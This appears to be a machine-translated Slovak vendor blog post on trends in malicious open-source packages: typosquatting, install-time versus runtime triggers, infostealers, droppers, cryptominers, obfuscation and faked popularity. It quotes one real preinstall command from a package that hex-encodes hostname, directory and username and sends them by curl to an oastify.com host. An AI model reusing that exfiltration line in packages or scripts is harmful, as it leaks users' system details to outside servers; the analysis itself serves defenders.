Škodlivé balíky 5

Anatómia škodlivých balíkov: Aké sú trendy?

V predchádzajúcej epizóde, Škodlivé balíky s otvoreným zdrojovým kódom: Problém, diskutovali sme o tom, prečo boli aktéri hrozby takí nadšení z publikovania nových škodlivých komponentov alebo vkladania malvéru do najnovších verzií existujúcich komponentov: Infraštruktúra s otvoreným zdrojovým kódom umožňuje komukoľvek kdekoľvek vytvoriť si efemérny účet v registri komponentov (ako napríklad NPM, PyPI, Docker Hub alebo Visual Studio Marketplace) alebo v platforme pre kolaboratívny vývoj (ako napríklad GitHub). Nulové náklady a veľa príležitostí na využitie nadmernej dôvery, ktorú softvérové ​​tímy tradične majú v komponenty tretích strán. 

Asymetria medzi tým, aké ľahké je pre útočníkov šíriť malvér pomocou infraštruktúry dostupnej pre open source, a aké ťažké je pre organizácie vyvíjajúce softvér (a pre všetkých?) vyhnúť sa infikovaniu malvérom (a doručiť malvér v softvéri, ktorý distribuujú pre ostatných), viedla k takmer dosiahnutiu štvrťmiliónovej hranice škodlivých balíkov v minulom roku. 

Toto je problém takého rozsahu, že ho žiadna samostatná organizácia nedokáže vyriešiť, a komunita práve prehodnocuje proces open source, pokiaľ ide o dôveru, princípy zabezpečenia už od začiatku a zabezpečenia už od návrhu, a životný cyklus komponentov. Na tieto myšlienky sa pozrieme v ďalšej epizóde. Ochrana pred škodlivými balíkmi s otvoreným zdrojovým kódom: Čo (ne)funguje.

Pamätajte, že hovoríme o softvérových komponentoch, ktoré väčšinou zodpovedajú softvérové ​​balíky: opakovane použiteľné komponenty zabalené tak, aby sa na ne dalo odkazovať ako na závislosť v softvérovom manifeste a nainštalovať ich pomocou správcu balíkov alebo nástroja na zostavenie. Upozorňujeme, že tento prípad by sa dal rozšíriť aj o verejné komponenty obrázky kontajnerov (používané behovými prostrediami kontajnerov a orchestračnými platformami ako Kubernetes) a rozšírenia softvérových nástrojov (pre budovanie, automatizáciu a nasadenie). 

Tu analyzujeme, ako to útočná taktika založená na škodlivých komponentoch funguje podľa predchádzajúcich príkladov a toho, čo sme videli v našej platforme pre včasné varovanie pred škodlivým softvérom (MEW). Škodlivé komponenty rozoberieme v rôznych dimenziách: 

(1) spôsob zvolený pre distribúciu (použitý register, v novom alebo existujúcom komponente a technika použitá na infikovanie publikovanej verzie komponentu), (2) ako sa malvér aktivuje alebo spúšťa, (3) škodlivé správanie, t. j. aké škodlivé akcie sa pozorujú a aká je motivácia útočníka, (4) aké techniky sú bežné na zahmlievanie, skrývanie sa, aby zostali nepovšimnutí, laterálny pohyb, komunikáciu s hostiteľmi velenia a riadenia (C2) atď.; a (5) techniky na získanie dostatočnej popularity a dôvery, aby obete nakoniec nainštalovali daný komponent.

Zvolený distribučný mechanizmus

Pozorujeme „hluk pozadia„nenáročných škodlivých balíkov, ktoré používajú typosquatting na phishingové útoky na neopatrných vývojárov s preklepom v názve balíka pre ich závislosť. Mnohé populárne balíky dostávajú záplavu podobne pomenovaných balíkov s preklepmi s očakávaním, že phishingovými útokmi oklamú niektorých neopatrných vývojárov. 

Používajú efemérny účet, publikujú skupinu typosquat balíčkov, vytvoria ďalšiu a publikujú ďalšiu skupinu... Použitím automatizácie a vynaliezavosti môžu dosiahnuť určitú sofistikovanosť, ale zvyčajne sú dosť triviálne. Interne ich nazývame „ančovičky„Hlavným cieľom je krádež poverení, ale občas sa stretneme so spyware, ktorý exfiltruje zdrojový kód alebo citlivé údaje, ako sú osobné identifikačné informácie (PII), zachytáva údaje zo schránky a iné hrozby.“

Z ničoho nič sa objavujú sofistikovanejšie škodlivé komponenty, „žraloky“. Menšina je zameraná na konkrétne skupiny alebo organizácie, zvyčajne pomocou krypto odčerpávačov alebo webových skimmerov, ktoré sa aktivujú podmienečne, možno podľa prístupu, ktorý je vidieť v incident prúdu udalostí dešifrovania útočného užitočného zaťaženia iba vtedy, keď sa na balík odkazuje z cieľového balíka. 

Distribučný mechanizmus bol analyzovaný vo vynikajúcej a dnes už klasickej práci „Zbierka nožov Backstabbera: Prehľad útokov na dodávateľský reťazec softvéru s otvoreným zdrojovým kódom“, čo je povinné čítanie. Určite ste už tento pekný graf videli: 

škodlivé balíky

Boli preskúmané všetky možnosti vrátane nových a existujúcich balíčkov; ovplyvnenia zdrojového kódu, systému zostavovania alebo samotného zabaleného komponentu; použitia ukradnutých prihlasovacích údajov alebo sociálneho inžinierstva; únosu opustených účtov a repozitárov alebo otravy tých, ktoré sú už spravované. Niektoré útoky dostali názvy (preklepy, Zmätok v závislosti, Zjavný zmätok, Kradnutie repozitárovatď.) a už boli prediskutované inde. 

A čo vybrané registre?

NPM naďalej vedie v celkovom počte škodlivých balíkov, ale tento rok sme zaznamenali prudký nárast v PyPI. Python je populárny ekosystém pre dátovú vedu a strojové učenie. V skutočnosti je hustota škodlivého softvéru v PyPI teraz vyššia ako v NPM. 

Ako sa spúšťa malvér

Škodlivé balíky sa spúšťajú počas inštalácie iba v 4 z 10 prípadov (v posledných rokoch to bolo takmer 6 z 10). Zvyšok spúšťa škodlivé správanie počas behu, pričom 1 zo 100 sa spúšťa počas spúšťania testov. Zdá sa, že útočníci vedia, že nekontrolované spúšťanie inštalačných skriptov bolo na mnohých miestach zakázané.

Čo dostávajú tí zlí?

Uvedieme zoznam kategórií škodlivého správania, pričom najobľúbenejšie budú prvé. Upozorňujeme, že dopad môže byť dosť odlišný: a stierač je tvrdohlavo deštruktívny, ale nie je bežný a vyskytol sa len v niekoľkých prípadoch, súvisiacich s cielenými kybernetickými vojnovými kampaňami alebo brutálnym hacktivizmom. Nasledujúce kategórie sú pomerne bežné:

  • InfoStealer / Vypúšťač povereníZďaleka najčastejšie, viac ako 90 % nesofistikovaných útokov, sú jednoduché útoky typu stealer, ktoré hľadajú najmä prihlasovacie údaje, ako sú heslá, prístupové tokeny, API kľúče a súkromné ​​kľúče (pre SSH a podobne). Pravdepodobne je to najjednoduchšie na napísanie (spolu s wipermi?). Vymenujú známe súbory/adresáre a ďalšie zdroje (napr. kľúče registra), zabalia obsah a odošlú tieto údaje na server C2. Myšlienka je jednoduchá: „Publikujem útok na stealer pre phishingové prihlasovacie údaje, aby som ich neskôr mohol použiť na spustenie cieleného útoku.“ 

Pozorované siete C2 sú zvyčajne lacné a špinavé, ako napríklad kanály Telegram alebo nástroje na tunelovanie podobné ngrok (často vo forme reverzných proxy serverov sprístupnených prostredníctvom IP adries VPN). Existujú stovky (!) možností, pričom mnoho projektov GitHub je pod téma o krádeži hesielŠpecializácie ako keyloggery sú zriedkavé pre škodlivé balíky a obrazy kontajnerov, ale častejšie v rozšíreniach nástrojov, kde sa očakáva interakcia používateľa.

  • Dropper / SťahovačDruhý v popularite, zvyčajne prvý pri viacstupňových útokoch. Viac ako jedna z troch škodlivých súčastí má droppery (ak je škodlivý dátový obsah súčasťou balíka) alebo sťahovacie programy (dáto je stiahnuté z koncového bodu pod kontrolou útočníka). Dáto je často známy binárny variant malvéru a spúšťa sa a niekedy sa uchováva na inštaláciu zadných vrátok, spyware, krypto odčerpávačov a iných prípadov použitia. Stiahnuté alebo nasadené dátové súbory spúšťajú útok druhej fázy so všetkým výkonom, ktorý poskytujú existujúce binárne súbory malvéru. Binárne súbory môžu byť distribuované v rámci balíka, často maskované ako obrázky alebo údajne neškodné typy súborov, aby sa predišlo odhaleniu pri pripájaní k neočakávaným stránkam. 
  • Zlodeji / ťažiari kryptomienFinančne motivovaní protivníci sú ochotní využiť vaše cloudové aktíva na prevádzku kryptominerov (dokonca zistia, či bežia na cloudovom virtuálnom stroji). Nezaujíma ich... nízky pomer zisku 1 dolár za každých 53 dolárov účtovaných obeti za ukradnutú cloudovú infraštruktúru. Obeť si to nemusí byť vedomá, kým nedostane neočakávanú faktúru. Našťastie to prichádza a odchádza. Cryptojacking kampane v škodlivých balíkoch sa občas objavia a potom zmiznú, pričom sa zameriavajú na používateľov peňaženiek alebo nakoniec na poskytovateľa peňaženky, ako napríklad v prípade Útok na účtovnú knihu.   

Iné správanie, ako napríklad nasadenie zadné dvere pre vzdialené spustenie kódu otvorením reverzného shellu je teraz menej časté ako v minulosti. Napríklad 123rf_contributor_web Balík (teraz odstránený z registra) sa otvorí bez akéhokoľvek zahmlievania, reverzný shell skopírovaný a vložený z Cheat Sheet s reverznou škrupinou:

škodlivé balíky 2
V týždni od 24. do 30. júna 2024 boli pozorované škodlivé typy balíkov.

Okrem legitímnych a škodlivých komponentov sme zaznamenali aj niekoľko prípadov zneužívania, vrátane:

Spamové balíky

Existujú tisíce malých balíčkov, väčšinou v NPM, bez malvéru, ale sľubujúcich ľahký zárobok, hadí olej, odkazy na ponuky Viagry a podobne. Niekoľko používateľov zverejňuje takýto spam a zaberá veľa šírky pásma z registra. Ďalší aktér (aktéri) pravdepodobne z Indonézie sa pokúsil/a z toho vyťažiť úžitok tým, že... zneužívanie čajuHodnotenie určené na odmeňovanie vývojárov s otvoreným zdrojovým kódom vytvorením desiatok tisíc prepojených balíkov NPM so súvisiacimi fiktívnymi repozitármi GitHub. Toto je jasné porušenie podmienok používania.

Odmena za chyby a podvody s bezpečnostným výskumom

 Keď sa balík opisuje ako poskytovateľ úniku údajov na dobré účely, ako je odhaľovanie bezpečnostných chýb pre programy na odmenu za chyby alebo výskum určitých aspektov ekosystému. V tejto kategórii sme videli tisíce balíkov, ktoré načítavajú identifikačné, ale nie príliš citlivé údaje na adresu Burp Collaborator z PortSwiggeru (napr. hostiteľ v doméne oastify.com). Často sme pozorovali napodobeniny... Zmätok v závislosti dôkaz konceptu od Alexa Birsana, ako napríklad aurora-webmail-pro balík (odstránený z registra), ktorý jednoducho spustí tento nepríjemný kód v predinštalačnom skripte:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

A tiež obsahoval „Toto je jednoduchý dôkaz konceptu útoku na zmätok zo závislostípopis vylúčenia zodpovednosti v package.jsonToto je jasné porušenie podmienok služby, a to aj bez zlého úmyslu. 

Dobré správy? Zatiaľ sme nevideli útoky ransomvéru prostredníctvom škodlivých komponentov. Z neznámych dôvodov sa zdá, že kyberzločinci uprednostňujú tradičnejšie mechanizmy phishingu e-mailov, protokolu RDP a sťahovania súborov priamo z počítača. 

Ďalšie pozorované techniky 

škodlivé balíky 3

Na vytrvalosť, vyhýbanie sa obrane, zhromažďovanie informácií, komunikáciu s veliteľskými a riadiacimi systémami a únik z obrany sa používalo mnoho techník. 

Vytrvalosť v škodlivých komponentoch sa získava pomocou funkcií perzistencie v binárnom malvéri druhej fázy, ale niekedy sa správanie nachádza v kóde balíka, pričom najčastejšie ide o naplánované úlohy a zmeny v registri systému Windows. 

zahmlievanie je bežné, ale nie je sofistikované. Väčšina balíkov s preklepmi (pamätajte na „ančovičky„?) vôbec nepoužívajú obfuskáciu; mnohé používajú buď triviálne metódy (kódovanie base64/hex alebo substitučné šifry ako rot13), alebo používajú dostupné obfuskátory kódu a minifikáciu, čo sa dá ľahko zvrátiť správnym vybavením. Iba „žraloky“ robia skutočné, hardcore obfuskácie, ktoré je ťažké spätne analyzovať.

Zahmlievanie môže útok skryť, ale prečo by mal byť kód v open-source komponente zahmlievaniu? Existujú dôkazy o tom, že niečo musí byť skryté pred zrakom? Našli sme mnoho prípadov neškodných balíkov, ktoré používajú zahmlievanie na ochranu duševného vlastníctva, čo je v rozpore s pojmom „open source“. Zahmlievanie sa dá použiť ako dôkaz o malvéri, ale nie je to presvedčivé. Je tiež ťažké ho de-zahmlievať. 

Evasion z obranných kontrol prijíma jednoduché techniky. Škodlivý kód je často chránený v skúsiť … chytiť bloky, ktoré ignorujú akékoľvek výnimky, takže abnormálna aktivita sa v protokoloch nezobrazuje. Overenie prostredia (bežiaceho vo virtuálnom počítači alebo kontajneri) je zriedkavé, s výnimkou škodlivého softvéru zameraného na konkrétnu organizáciu alebo prostredie.

Ďalšou technikou, ktorá sa používala na obchádzanie detekcie, bolo maskovanie binárnych súborov v obrázkoch a PDF súboroch (druh steganografie).

Keďže najbežnejšími škodlivými komponentmi sú informační zlodeji, zber dát je nevyhnutné. Tajomstvá (heslá, prístupové tokeny, kľúče API, kryptografické kľúče) sa bežne skenujú v súboroch protokolov, premenných prostredia a dokonca aj v schránke (čo sa vyskytuje u bankových trójskych koní a kryptomenových kradcov). Bežná je aj exfiltrácia zdrojového kódu, pretože inštalácia balíkov sa často vykonáva vo vývojovom uzle, kde sa môžu klonovať interné repozitáre git. Videli sme balíky, ktoré vymenúvajú adresáre pri hľadaní repozitárov git. Hľadanie umiestnení ako .env, private.pem, settings.py, app.js alebo application.properties je pomerne bežné.

Exfiltrácia je ďalšou široko používanou akciou. Len menšina škodlivých balíkov sa vôbec pokúša skryť cieľ extrahovaných údajov. Telegramové kanály a tunely podobné ngrokom sa často používajú. A existuje ich veľa domény na bielej listine, ktoré sa zvyčajne používajú na exfiltráciu

Iné techniky, ako napríklad eskalácia privilégií alebo laterálny pohyb, boli menej bežné. 

Získanie popularity a dôvery

Predstavte si technického podvodníka s hotovou vražednou zákernou vecou, ​​ktorý sa pýta: „Ako môžem urobiť tento kus sračky dôveryhodným pre tých nič netušiacich idiotov?“. 

To sa premieta do toho, ako vytvoriť položku pre škodlivý komponent tak, aby zobrazovala veľa hviezdičiek / vidlíc (pre popularitu), plus verzie / problémy a pull requests (pre aktivitu). Cieľom je získať fiktívnu popularitu (hviezdy) a závislé osoby a presvedčivý vzhľad, čo sa týka relevantnosti a udržateľnosti. 

Register nekontroluje, či sa obsah projektu GitHub zhoduje s obsahom balíka.Toto je dobre známy problém v dodávateľskom reťazci softvéru. Verejné registre sú obrovské prepadliská, ktoré prehltnú všetko, čo sa na ne hodí. Môžete prepojiť ľubovoľný repozitár. 

škodlivé balíky 4
Distribúcia dôkazov o potenciálnom škodlivom softvéri počas týždňa od 24. do 30. júna 2024.

Ak je škodlivý balík preklepom populárneho balíka, je to jednoduché: stačí odkázať na existujúci repozitár GitHub v manifeste závislostí použitom na vytvorenie balíka a jeho publikovanie do registra. Pre nové balíky na falošnom repozitári GitHub možno budete potrebovať viac vynaliezavosti, možno vytvorenie falošného... pozorovanie hviezd/rozvetvenie Účty GitHub prostredníctvom skriptovania.

A ak je obsah vášho balíka primerane podobný repozitáru, sem-tam pridajte pár dobre navrhnutých zmien… Môžete vložiť svoj malvér do nového balíka, ktorý sa podobá populárnemu balíku a odkazuje na existujúci repozitár, a čakať na preklepy. Ak by sa niekto odvážil porovnať obsah tarballu balíka s obsahom z repozitára GitHub, rozdiely v bodoch vstreknutia malvéru by sa dali ľahko prehliadnuť. Tento prístup sme už videli mnohokrát. 

Mechanizmus, ktorý by komponentu umožnil vytvoriť vyhlásenie o pôvode, spôsobe zostavenia balíka, z akých zdrojov a kým, by bol vítaný. Ale to je iný príbeh. 

Je komponent X malware?

Existuje (komplexná) databáza škodlivých balíkov? Nie. Zraniteľnostiam s otvoreným zdrojovým kódom je priradené CVE ID, ale iba niekoľkým škodlivým balíkom (najmä tým, ktoré sa dostanú na titulné stránky novín) je priradené. CWE pre škodlivé balíky je CWE-506 (vložený škodlivý kód). 

Bežné nástroje na boj s malvérom (VirusTotal, MalwareBazaar, SOREL-20M…) nemajú špecifické opatrenia pre škodlivé komponenty. To by bolo vítané!

Existujú vzorové databázy a súbory údajov na analýzu (používame ich niekoľko), ale záznamy sa aktualizujú až vtedy, keď je známy škodlivý balík, čo je často príliš neskoro. Ak máte záujem, OpenSSF Škodlivé balíky je pekný začiatok.

V ďalšom príspevku si rozoberieme, ako zistiť, či je daný balík škodlivý. Spoiler: áno, existujú spôsoby, ako skontrolovať škodlivé komponenty už počas expozičného okna, ešte predtým, ako register odstráni známy škodlivý komponent.

Ďalšie čítanie

V ďalšej epizóde „Ochrana pred škodlivými balíkmi s otvoreným zdrojovým kódom: Čo (ne)funguje" Budeme diskutovať o tom, čo robiť a nerobiť v oblasti bezpečnosti open source. Väčšina odborníkov zameraných na bezpečnosť má intuíciu o tom, ako sa s touto hrozbou vysporiadať, ale existuje množstvo mylných predstáv. 

Preskúmame, prečo sú tieto myšlienky nesprávne a ako takéto mylné predstavy prispievajú k popularite tohto útočného mechanizmu a k obrovskému riziku, ktorému organizácie čelia. Potom budeme pokračovať tým, čo funguje a aké úsilie a zdroje sú na to potrebné. 

Taktiež budeme publikovať o vývoji škodlivých balíkov z hľadiska ich zámeru, mechanizmu vstrekovania a útočných techník.

Zostaňte naladení!

Referencie

Škodlivé balíky s otvoreným zdrojovým kódom: Problém

Ochrana pred škodlivými balíkmi OSS: Čo (ne)funguje

nástroje na analýzu zloženia softvéru SCA
Stanovte si priority, odstraňujte a zabezpečte svoje softvérové ​​riziká
Získajte svoj bezplatný účet.
Nie je potrebná kreditná karta.

Zabezpečte si vývoj a dodávku softvéru

s produktovým balíkom Xygeni